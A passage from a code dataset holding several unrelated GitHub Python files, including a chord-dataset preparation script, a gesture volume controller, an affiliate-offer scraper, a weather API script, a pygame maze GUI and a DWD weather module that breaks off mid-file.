{"seq_id": "37913166081", "text": "\"\"\"\r\n\r\n'/**************************************************************************************************************\r\n' 파일명 : prepare_dataset.py\r\n' 작성자 : 임지백\r\n' 목적 : 시간별 코드 데이터와 시간별 chromagram 데이터를 통해 코드별 chromagram 데이터를 만들어 json 파일로 저장해준다.\r\n (해당 파일에서 사용하는 chromagram 데이터는 음원의 파형을 통해 추출하는 24가지의 특성값이다)\r\n' 사용방식 : 파일의 main문 실행시 인공지능 모델 학습에 필요한 json 파일을 저장한다.\r\n 이때, 프로젝트 폴더에 https://www.kaggle.com/jacobvs/mcgill-billboard 해당 웹페이지에서 받은 data 폴더를 넣어준더\r\n' 사용파일 : train_model_LSTM.py에서 이 파일에서 생성한 json 파일을 이용해 인공지능 모델 학습을 진행한다.\r\n' 개발환경 : Python 3.7.7 / Windows10\r\n' 이력사항\r\n' YYYY. MM/DD 수정자\r\n' 1. 수정 사유: method_name {, method_name}\r\n'/**************************************************************************************************************\r\n\r\n\"\"\"\r\n\r\nimport csv\r\nimport numpy as np\r\nimport os.path\r\nimport json\r\n\r\n\r\nJSON_PATH = 'data_twelve_chroma.json'\r\n\r\n\r\ndef chord_to_int(chord_name):\r\n \"\"\"\r\n ' 목적 : 인공지능 학습을 위해 data 폴더에 있는 코드 정보를 int 값에 맵핑\r\n ' 리턴값 : 코드 이름에 따라 맵핑된 int 값 ( 0 ~ 104 ) / ( 공백음인 N 또는 X의 경우 404를 리턴하고 활용은 X )\r\n \"\"\"\r\n type1 = ':maj'\r\n type2 = ':min'\r\n type3 = 'b:maj'\r\n type4 = 'b:min'\r\n type5 = '#:maj'\r\n type6 = '#:min'\r\n type7 = ':maj7'\r\n type8 = ':min7'\r\n type9 = 'b:maj7'\r\n type10 = 'b:min7'\r\n type11 = '#:maj7'\r\n type12 = '#:min7'\r\n type13 = ':7'\r\n type14 = 'b:7'\r\n type15 = '#:7'\r\n type_table = [type1, type2, type3, type4, type5, type6, type7, type8, type9, type10, type11, type12, type13, type14, type15]\r\n\r\n root_chord_list = ['A', 'B', 'C', 'D', 'E', 'F', 'G']\r\n\r\n if chord_name == 'N' or chord_name == 'X':\r\n return 404\r\n for chord_num, root_chord in enumerate(root_chord_list):\r\n for type_num, type in enumerate(type_table):\r\n if root_chord + type == chord_name:\r\n return chord_num * 15 + type_num\r\n\r\n\r\ndef prepare_dataset(json_path):\r\n \"\"\"\r\n ' 목적 : data 폴더에 위치한 데이터 파일을 통해 만든 json 파일을 json_path에 저장\r\n ' 리턴값 : 없음\r\n \"\"\"\r\n data = {\r\n \"labels\": [],\r\n \"Chromagram_bundles\": [],\r\n }\r\n\r\n chroma_and_start_time = {\r\n # 키값은 각각의 폴더명\r\n }\r\n chord_and_interval_time = {\r\n # 키값은 각각의 폴더명\r\n }\r\n\r\n\r\n path_metadata = './data/metadata/metadata'\r\n file_metadata = '/bothchroma.csv'\r\n path_annotations = './data/annotations/annotations/'\r\n file_annotations = '/majmin.lab'\r\n\r\n\r\n for folder_num in range(3, 1301): # 음원의 데이터가 들어있는 폴더명은 0003 ~ 1300\r\n if (folder_num < 10):\r\n common_path_variable = '/000' + str(folder_num)\r\n elif (folder_num < 100):\r\n common_path_variable = '/00' + str(folder_num)\r\n elif (folder_num < 1000):\r\n common_path_variable = '/0' + str(folder_num)\r\n else:\r\n common_path_variable = '/' + str(folder_num)\r\n\r\n complete_path_metadata = path_metadata + common_path_variable + file_metadata\r\n complete_path_annotations = path_annotations + common_path_variable + file_annotations\r\n\r\n # 파일이 존재하는지 체크\r\n if (os.path.isfile(complete_path_metadata)):\r\n pass\r\n else:\r\n continue\r\n\r\n chroma_and_start_time[str(folder_num)] = []\r\n chord_and_interval_time[str(folder_num)] = []\r\n\r\n # chromagram 데이터 불러오기\r\n with open(complete_path_metadata, 'r', encoding='utf-8') as f:\r\n reader = csv.reader(f)\r\n\r\n #초반의 의미없는 chromagram 값들을 패스\r\n for _ in range(20):\r\n next(reader)\r\n\r\n for starting_time_and_chroma in reader:\r\n del starting_time_and_chroma[0] # 빈 값 삭제\r\n chroma_and_start_time[str(folder_num)].append(list(map(float, starting_time_and_chroma))) # string을 float으로 저장\r\n\r\n # 코드 데이터 불러오기\r\n with open(complete_path_annotations, 'r', encoding='utf-8') as f:\r\n reader = csv.reader(f)\r\n for interval_time_and_chord in reader:\r\n if (interval_time_and_chord != []):\r\n chord_data_list = interval_time_and_chord[0].split('\\t')\r\n chord_name = chord_data_list[2]\r\n if chord_name != 'N' and chord_name != 'X':\r\n chord_data_list[2] = chord_to_int(chord_name) # 코드이름 -> 코드이름에 맵핑된 int값\r\n chord_data_list[1] = float(chord_data_list[1]) # 코드의 종료시간\r\n chord_data_list[0] = float(chord_data_list[0]) # 코드의 시작시간\r\n chord_and_interval_time[str(folder_num)].append(chord_data_list)\r\n\r\n print(len(chord_and_interval_time))\r\n print(len(chroma_and_start_time))\r\n\r\n # 인공지능 모델 학습을 위해 데이터를 (20, 24)로 묶어주기 (number of slices extract Chromagram, Chromagram)\r\n for key, value in chroma_and_start_time.items():\r\n for chord_list in chord_and_interval_time[key]:\r\n chroma_bundle = []\r\n num_flag = 0\r\n for chroma_list in value:\r\n if num_flag >= 20:\r\n break\r\n if chroma_list[0] >= chord_list[1]:\r\n \"\"\"\r\n # chroma_list[0] : chromagram을 추출한 시작 시간 (간격은 약 0.05 초) / chroma_list[1:] : chromagram\r\n # chord_list[0] : 코드의 시작시간 / chord_list[1] : 코드의 종료시간 / chord_list[2] : int 값 맵핑된 코드이름\r\n \"\"\"\r\n break\r\n if chroma_list[0] >= chord_list[0] and chroma_list[0] < chord_list[1]:\r\n del chroma_list[0]\r\n chroma_bundle.append(chroma_list)\r\n value.remove(chroma_list)\r\n num_flag += 1\r\n\r\n if chroma_bundle != []:\r\n for i in range(20 - num_flag):\r\n chroma_bundle.append(chroma_bundle[-1])\r\n if len(chroma_bundle) != 20:\r\n print(\"문제 발생!!!\")\r\n data[\"Chromagram_bundles\"].append(chroma_bundle)\r\n data[\"labels\"].append(chord_list[2])\r\n\r\n print(len(data[\"labels\"]))\r\n print(data[\"Chromagram_bundles\"][0])\r\n print(len(data[\"Chromagram_bundles\"]))\r\n print(len(data[\"Chromagram_bundles\"][0]))\r\n print(len(data[\"Chromagram_bundles\"][0][0]))\r\n\r\n x_list = data[\"Chromagram_bundles\"]\r\n X = np.array(x_list)\r\n y = np.array(data[\"labels\"])\r\n\r\n print(X.shape)\r\n # numpy array의 shape가 분명 (N, 30, 24)로 나와야 하는데 (N, )로 나오는 경우때문에 조금 헤맸다.\r\n # 이 경우는 데이터의 크기가 30,24를 벗어나 있는 경우가 존재한다는 뜻이므로 데이터를 다시 재구성해주어야 한다.\r\n print(y.shape)\r\n\r\n with open(json_path, \"w\") as fp:\r\n json.dump(data, fp, indent=4)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n prepare_dataset(JSON_PATH)\r\n", "repo_name": "10EastSea/YousicTube", "sub_path": "TRAINING_MODEL/prepare_dataset.py", "file_name": "prepare_dataset.py", "file_ext": "py", "file_size_in_byte": 7637, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.path.isfile", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 98, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 108, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 170, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 178, "usage_type": "call"}]} {"seq_id": "18525886855", "text": "import cv2\nimport time \nimport numpy as np\nimport handdetection as hd\nimport math \nfrom ctypes import cast, POINTER\nfrom comtypes import CLSCTX_ALL\nfrom pycaw.pycaw import AudioUtilities, IAudioEndpointVolume\n\n\ndevices = AudioUtilities.GetSpeakers()\ninterface = devices.Activate(\n IAudioEndpointVolume._iid_, CLSCTX_ALL, None)\nvolume = cast(interface, POINTER(IAudioEndpointVolume))\n#volume.GetMute()\n#volume.GetMasterVolumeLevel()\nvolRange=volume.GetVolumeRange()\nminVol=volRange[0]\nmaxVol=volRange[1]\n\nwcam,hcam=640,480\ncam=cv2.VideoCapture(0)\ncam.set(3,wcam)\ncam.set(4,hcam)\nPtime=0\nvol,volBar,volPer=0,400,0\n\ndetector=hd.handDetector(detectionCon=0.9,maxHands=1)\n\nwhile True:\n success,img=cam.read()\n if not success:\n break\n \n img=detector.findHands(img)\n lmList,bbox=detector.findPosition(img)\n if len(lmList)!=0:\n\n area=(bbox[2]-bbox[0])*(bbox[3]-bbox[1]) //100\n if 250< area <1000:\n length,img,lineInfo=detector.findDistance(4,8,img)\n vol=np.interp(length,[50,300],[minVol,maxVol])\n volBar=np.interp(length,[50,300],[400,150])\n volPer=np.interp(length,[50,300],[0,100])\n smoothness=10\n volPer=smoothness * round(volPer/smoothness)\n\n fingers=detector.fingersUp()\n if not fingers[4]:\n volume.SetMasterVolumeLevel(vol, None)\n cv2.circle(img,(lineInfo[4],lineInfo[5]),12,(0,255,0),cv2.FILLED)\n\n\n cv2.rectangle(img,(50,150),(80,400),(0,0,0),3)\n cv2.rectangle(img,(50,int(volBar)),(80,400),(0,0,255),cv2.FILLED)\n cv2.putText(img,f'{int(volPer)}%',(40,450),cv2.FONT_HERSHEY_COMPLEX,0.8,(0,0,255),3)\n \n Ctime=time.time()\n fps=1/(Ctime-Ptime)\n Ptime=Ctime\n cv2.putText(img,f'FPS : {int(fps)}',(40,50),cv2.FONT_HERSHEY_COMPLEX,0.8,(255,0,0),3)\n\n cv2.imshow(\"Wireless Sound Controller\",img)\n if cv2.waitKey(1)==ord('q'):\n break\n", "repo_name": "Nitheesh-2003/Wireless_Soundcontroller", "sub_path": "wireless.py", "file_name": "wireless.py", "file_ext": "py", "file_size_in_byte": 1946, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pycaw.pycaw.AudioUtilities.GetSpeakers", "line_number": 11, "usage_type": "call"}, {"api_name": "pycaw.pycaw.AudioUtilities", "line_number": 11, "usage_type": "name"}, {"api_name": "comtypes.CLSCTX_ALL", "line_number": 13, "usage_type": "argument"}, {"api_name": "pycaw.pycaw.IAudioEndpointVolume._iid_", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pycaw.pycaw.IAudioEndpointVolume", "line_number": 13, "usage_type": "name"}, {"api_name": "ctypes.cast", "line_number": 14, "usage_type": "call"}, {"api_name": "ctypes.POINTER", "line_number": 14, "usage_type": "call"}, {"api_name": "pycaw.pycaw.IAudioEndpointVolume", "line_number": 14, "usage_type": "argument"}, {"api_name": "cv2.VideoCapture", "line_number": 22, "usage_type": "call"}, {"api_name": "handdetection.handDetector", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 44, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.FILLED", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 56, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX", "line_number": 61, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 64, "usage_type": "call"}]} {"seq_id": "40646485779", "text": "# 大修 搜索结果先看是否匹配 返回offer页面的链接\n\n\nimport re\nimport time\nfrom selenium import webdriver\n\n\ndef check_if_exist(browser, element, condition):\n try:\n if condition == 'class':\n browser.find_element_by_class_name(element)\n elif condition == 'id':\n browser.find_element_by_id(element)\n elif condition == 'xpath':\n browser.find_element_by_xpath(element)\n return True\n except Exception as err:\n return False\n\n\ndef get_next_page(browser, retry, next_page_xpath):\n try: # 可能出错 stale element reference: element is not attached to the page document\n if retry == 10:\n return\n next_page = browser.find_element_by_xpath(next_page_xpath)\n next_page.click()\n time.sleep(3)\n retry = 0\n return\n except:\n retry = retry + 1\n print(\"Try Again.\")\n get_next_page(browser, retry, next_page_xpath)\n\n\ndef offervault_search(query):\n # # 正常模式\n # browser = webdriver.Chrome()\n # browser.maximize_window()\n # headless模式\n option = webdriver.ChromeOptions()\n option.add_argument('--headless')\n option.add_argument(\"--window-size=1920,1080\")\n browser = webdriver.Chrome(chrome_options=option)\n browser.implicitly_wait(10)\n results = []\n try:\n keyword = query.split('.')[-2]\n print(\"Keyword: \", keyword)\n url = 'https://offervault.com/?selectedTab=topOffers&search=' + keyword + '&page=1'\n browser.get(url)\n while True:\n main_handle = browser.current_window_handle\n url = browser.current_url\n page = re.findall(r'page=[0-9]+', url)[0][5:]\n print(\"-------Current Page: {0}-------\".format(page))\n # 获取当前页offer链接\n container = browser.find_element_by_css_selector('#index-page-offerstable > tbody')\n links = container.find_elements_by_tag_name('a')\n if not links:\n print(\"未找到符合条件的搜索结果。\")\n return results\n for link in links:\n offer_link = link.get_attribute('href')\n # 过滤 javascript:;\n if offer_link == 'javascript:;':\n continue\n print(\"---Visiting Offer: {0}...\".format(offer_link))\n js = 'window.open(\\\"' + offer_link + '\\\");'\n browser.execute_script(js)\n time.sleep(2)\n handles = browser.window_handles\n browser.switch_to.window(handles[1]) # 切换标签页\n # 获得preview landing page\n try:\n tbody = browser.find_element_by_xpath(\n '//*[@id=\"__layout\"]/div/section/div/div/div/div/div[1]/div[1]/div[2]/div[1]/div/div/table/tbody'\n )\n # 防止像affpay一样有的项没有\n items = tbody.find_elements_by_tag_name('tr')\n for item in items:\n th = item.find_element_by_tag_name('th').text\n td = item.find_element_by_tag_name('td')\n if th == 'Preview:':\n preview_url = td.find_element_by_tag_name('a').get_attribute('href')\n if preview_url:\n preview_domain = preview_url.split('/')[2]\n if query in preview_domain:\n print(\"匹配到: \", offer_link)\n results.append(offer_link)\n except Exception as err:\n print(\"Error: \", err)\n browser.close()\n browser.switch_to.window(main_handle)\n time.sleep(1)\n # 判断是否还有下一页\n btn_count = len(\n browser.find_elements_by_css_selector(\n '#__layout > div > section:nth-child(3) > div > div > div > div.col-md-9 > div.tablecont > div > div > div.paginrow > ul > li'\n ))\n next_page_index = btn_count - 1\n next_page_xpath = '//*[@id=\"__layout\"]/div/section[2]/div/div/div/div[1]/div[1]/div/div/div[2]/ul/li[' + str(\n next_page_index) + ']/button'\n if not check_if_exist(browser, next_page_xpath, 'xpath'):\n break\n else:\n # 跳转到下一页\n get_next_page(browser, 0, next_page_xpath)\n except Exception as err:\n print(err)\n finally:\n browser.quit()\n return results\n\n\nif __name__ == '__main__':\n offervault_search('teenfinder')\n", "repo_name": "suniven/affiliate-offer-match", "sub_path": "offer_search/offervault.py", "file_name": "offervault.py", "file_ext": "py", "file_size_in_byte": 4728, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 28, "usage_type": "call"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 42, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 42, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 45, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 45, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 56, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 72, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 96, "usage_type": "call"}]} {"seq_id": "18565871167", "text": "import requests\n\n\nprint (\"Enter Zip in US:\")\nzip = str(input()) # str conv\nresponse = requests.get(\"https://api.openweathermap.org/data/2.5/forecast?zip=\"+zip+\",us&appid= #Add API ID#\")# add parameter to the url using str concatenate\ndata = response.json() # Json format\ntemp_dict = {}\n#temp_dict = {\"key\":\"value\"}\nprint(\" Date Temp Precipitation\")\nfor record in data ['list']:\n max_temp = record['main']['temp_max']\n min_temp = record['main']['temp_min']\n precipitation = record['pop']\n date = str.split(record['dt_txt'], \" \")\n date = date[0]\n if date in temp_dict:\n if temp_dict[date][\"max\"] < max_temp:\n temp_dict[date][\"max\"] = max_temp\n if temp_dict[date][\"min\"] > min_temp:\n temp_dict[date][\"min\"] = min_temp\n else:\n temp_dict.update({date:{\"max\":max_temp, \"min\":min_temp, \"precipitation\":precipitation}})\n\nfor keys in temp_dict:\n print(keys,temp_dict[keys][\"max\"],temp_dict[keys][\"min\"],temp_dict[keys][\"precipitation\"])\n", "repo_name": "MeghvShetty/API-buffet", "sub_path": "Open_weather with Python/Open_weather_API.py", "file_name": "Open_weather_API.py", "file_ext": "py", "file_size_in_byte": 1010, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}]} {"seq_id": "18611958768", "text": "import spacy\n\nnlp = spacy.load(\"en_core_web_sm\")\n\ntext = \"Upcoming iPhone X release date leaked as Apple reveals pre-orders\"\n\n# Traite le texte\ndoc = ____\n\n# Itère sur les entités\nfor ____ in ____.____:\n # Affiche le texte de l'entité et son label\n print(____.____, ____.____)\n\n# Obtiens la portion pour \"iPhone X\"\niphone_x = ____\n\n# Affiche la portion de texte\nprint(\"Entité manquante :\", iphone_x.text)\n", "repo_name": "mathieuLivebardon/spacy-course", "sub_path": "exercises/fr/exc_01_09.py", "file_name": "exc_01_09.py", "file_ext": "py", "file_size_in_byte": 415, "program_lang": "python", "lang": "fr", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "spacy.load", "line_number": 3, "usage_type": "call"}]} {"seq_id": "6016929617", "text": "# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nproject = \"OpenPile\"\ncopyright = \"2023, Guillaume Melin\"\nauthor = \"Guillaume Melin\"\n\nimport sys\nfrom pathlib import Path\n\npypath = Path(__file__).parents[2]\n# add path\nsys.path.insert(0, str(Path(pypath / \"src\")))\nfrom openpile import __version__\n\nrelease = __version__\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.githubpages\",\n \"sphinx.ext.napoleon\", # support for numpy and google docstrings\n \"sphinx.ext.mathjax\",\n \"sphinx.ext.viewcode\",\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.todo\",\n \"sphinx.ext.doctest\",\n \"matplotlib.sphinxext.plot_directive\",\n]\n\nautodoc_default_options = {\n \"member-order\": \"bysource\",\n \"special-members\": \"__init__\",\n \"undoc-members\": True,\n \"exclude-members\": \"__weakref__\",\n \"show-inheritance\": False,\n}\n\nauoclass_content = \"class\"\n# Automatically extract typehints when specified and place them in\n# descriptions of the relevant function/method.\nautodoc_typehints = \"description\"\n\n# Don't show class signature with the class' name.\nautodoc_class_signature = \"separated\"\n\ntemplates_path = [\"_templates\"]\nexclude_patterns = []\n\n# -- Options for LaTeX output ------------------------------------------------\nlatex_engine = \"pdflatex\"\nnumfig = True\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = \"sphinx_rtd_theme\"\nhtml_static_path = [\"_static\"]\n", "repo_name": "TchilDill/openpile", "sub_path": "docs/source/conf.py", "file_name": "conf.py", "file_ext": "py", "file_size_in_byte": 1986, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 18, "usage_type": "call"}, {"api_name": "openpile.__version__", "line_number": 21, "usage_type": "name"}]} {"seq_id": "24376534497", "text": "# coding: utf-8\n\"\"\" This module contains the UI class.\n It manages everything that is needed to display\n the game on the screen, using pygame. \"\"\"\n\nimport os\nimport sys\n\nimport pygame\nfrom pygame.locals import K_UP, K_DOWN, K_LEFT, K_RIGHT, QUIT\n\nfrom constants import TILESIZE, FPS\n\n\nclass GUI:\n\n def __init__(self, level):\n \"\"\" Constructor of the class GUI.\n Initializes pygame.\n\n Arguments:\n level -- an instance of the class Level\n \"\"\"\n pygame.init()\n pygame.font.init()\n pygame.display.set_caption(\"Escape MacGyver\")\n self.font = pygame.font.Font(None, 28)\n self.displaysurf = pygame.display.set_mode((\n TILESIZE * level.width,\n TILESIZE * level.height + TILESIZE))\n self.displaysurf.fill(\"grey\")\n self.frame_per_sec = pygame.time.Clock()\n\n def display_game(self, level, player):\n \"\"\" Displays and updates the game objects on the screen.\n\n Arguments:\n level -- an instance of the class Level\n player -- an instance if the class Player\n \"\"\"\n self.draw_gui(level, player)\n self.pygame_event_get()\n self.update_player(level, player)\n self.frame_per_sec.tick(FPS)\n\n def draw_gui(self, level, player):\n \"\"\" Draws the game Graphical UI.\n\n Arguments:\n level -- an instance of the class Level\n player -- an instance if the class Player\n \"\"\"\n self.draw_level(level)\n self.draw_player(player)\n self.draw_text(\"black\", \"Your bag: \", (45, 765))\n\n def draw_level(self, level):\n \"\"\" Draws the map by drawing each tile of the grid,\n and the element located on the tile.\n\n Arguments:\n level -- an instance of the class Level\n \"\"\"\n self.displaysurf = pygame.display.set_mode(\n (TILESIZE * level.width, TILESIZE * level.height + TILESIZE))\n for pos_y in range(0, level.height):\n for pos_x in range(0, level.width):\n level.tiles_list[pos_y][pos_x].draw(self.displaysurf)\n try:\n if level.tiles_list[pos_y][pos_x].element:\n self.draw_element(\n level.tiles_list[pos_y][pos_x].element)\n except AttributeError:\n continue\n\n def draw_element(self, element):\n \"\"\" Draws an element on a specific tile:\n can be one of the unpicked items or the guard\n\n Arguments:\n element -- an instance of the class Element\n \"\"\"\n if not element.is_picked:\n self.displaysurf.blit(element.image, element.rect)\n\n def draw_player(self, player):\n \"\"\" Draws the player on the grid, according to its position.\n Draws also the player's bag, containing the items picked\n by the player.\n\n Arguments:\n player -- an instance of the class Player\n \"\"\"\n self.displaysurf.blit(player.image, player.rect)\n if player.bag:\n for index, value in enumerate(player.bag):\n surf = pygame.Surface((TILESIZE, TILESIZE))\n rect = surf.get_rect(topleft=(\n 3 * TILESIZE + TILESIZE * index, 750))\n img_filename = value.content + \".png\"\n absolute_path = os.path.join(os.path.dirname(__file__),\n \"assets\", img_filename)\n image = pygame.image.load(absolute_path)\n self.displaysurf.blit(image, rect)\n\n def draw_text(self, color, message, text_position):\n \"\"\" Draws the text representing the player's bag\n at the bottom of the screen.\n\n Arguments:\n color -- the color of the text\n message -- the text to be displayed\n text_position -- position of the text on the screen\n \"\"\"\n self.text = self.font.render(message, True, color)\n self.displaysurf.blit(self.text, text_position)\n\n def update_player(self, level, player):\n \"\"\" Converts the user input into a moving direction\n for the player and update the player's sprite.\n\n Arguments:\n level -- an instance of the class Level\n player -- an instance if the class Player\n \"\"\"\n pressed_keys = pygame.key.get_pressed()\n if player.rect.top > 0 and pressed_keys[K_UP] and level.can_move(player.pos_x, player.pos_y - 1):\n player.rect.move_ip(0, -TILESIZE)\n player.move(\"up\")\n if player.rect.bottom < level.height * TILESIZE and pressed_keys[K_DOWN] and level.can_move(player.pos_x, player.pos_y + 1):\n player.rect.move_ip(0, TILESIZE)\n player.move(\"down\")\n if player.rect.left > 0 and pressed_keys[K_LEFT] and level.can_move(player.pos_x - 1, player.pos_y):\n player.rect.move_ip(-TILESIZE, 0)\n player.move(\"left\")\n if player.rect.right < level.width * TILESIZE and pressed_keys[K_RIGHT] and level.can_move(player.pos_x + 1, player.pos_y):\n player.rect.move_ip(TILESIZE, 0)\n player.move(\"right\")\n\n def pygame_event_get(self):\n \"\"\" Captures event for pygame. \"\"\"\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n", "repo_name": "julienlair01/labyrinth", "sub_path": "gui.py", "file_name": "gui.py", "file_ext": "py", "file_size_in_byte": 5375, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.init", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.font.init", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 28, "usage_type": "attribute"}, {"api_name": "constants.TILESIZE", "line_number": 29, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 30, "usage_type": "name"}, {"api_name": "pygame.time.Clock", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 32, "usage_type": "attribute"}, {"api_name": "constants.FPS", "line_number": 44, "usage_type": "argument"}, {"api_name": "pygame.display.set_mode", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 64, "usage_type": "attribute"}, {"api_name": "constants.TILESIZE", "line_number": 65, "usage_type": "name"}, {"api_name": "pygame.Surface", "line_number": 97, "usage_type": "call"}, {"api_name": "constants.TILESIZE", "line_number": 97, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 99, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 101, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 126, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pygame.locals.K_UP", "line_number": 127, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 128, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 130, "usage_type": "name"}, {"api_name": "pygame.locals.K_DOWN", "line_number": 130, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 131, "usage_type": "argument"}, {"api_name": "pygame.locals.K_LEFT", "line_number": 133, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 134, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 136, "usage_type": "name"}, {"api_name": "pygame.locals.K_RIGHT", "line_number": 136, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 137, "usage_type": "argument"}, {"api_name": "pygame.event.get", "line_number": 142, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 142, "usage_type": "attribute"}, {"api_name": "pygame.locals.QUIT", "line_number": 143, "usage_type": "name"}, {"api_name": "pygame.quit", "line_number": 144, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 145, "usage_type": "call"}]} {"seq_id": "73269025544", "text": "import decimal\nimport io\nimport re\nimport urllib\nimport datetime\nfrom zipfile import ZipFile\n\nimport pandas as pd\nimport pytz\n\nfrom app.dwd_module.dwd_constant import *\nfrom app.dwd_module.dwd_file_finder import FtpFileFinder\nfrom app import util\nfrom app.models import Response, ResponseTimeseries, Values\n\n\n\n\nclass TimeSeries:\n \"\"\"\n Query the DWD FTP service by a specified station, resolution and datatype and a optional timerange to filter\n the results.\n \"\"\"\n stationId = ''\n resolution = ''\n observation_type = ''\n pattern_searched_file = r'^produkt.*'\n start = None\n end = None\n path_choices = ''\n path = ''\n times = []\n response = None\n MESS_DATUM = 'MESS_DATUM'\n\n\n def __init__(self, stationId, resolution, observation_type, start, end):\n \"\"\"\n Call the class ( FtpFileFinder ) and it's Method FtpSearch at first, so that the\n connection and the paths are ready to be used.\n :param stationId: string *required\n :param resolution: string *required\n :param observation_type: string *required\n :param start: Date time *not required\n :param end: Date time *not required\n \"\"\"\n\n self.stationId = stationId\n self.resolution = resolution\n self.observation_type = observation_type\n self.start = util.deserialize_datetime(start)\n self.end = util.deserialize_datetime(end)\n self.path_choices = FtpFileFinder().findFile(self.generateWalkPathByResolutionAndStationId(),\n r'.*' + self.stationId + '.*', r'^Meta_Daten.*')\n self.response = Response()\n self.response.observation_type = self.observation_type\n self.response.resolution = self.resolution\n self.response.station_id = self.stationId\n self.response.timeseries = []\n\n def generateWalkPathByResolutionAndStationId(self):\n \"\"\"\n add the resolution and the observation type to the path\n :return: String\n \"\"\"\n return PATH_TO_WALK + self.resolution + \"/\" + self.observation_type\n\n def zip_extract(self, half_path):\n \"\"\"\n unpacking a single zip file for a path.\n returns a dictionary sorted by records\n :param half_path: string\n :return: Dictionary\n \"\"\"\n\n self.path = \"ftp://\" + DWD_SERVER + \"/\" + half_path\n\n mysock = 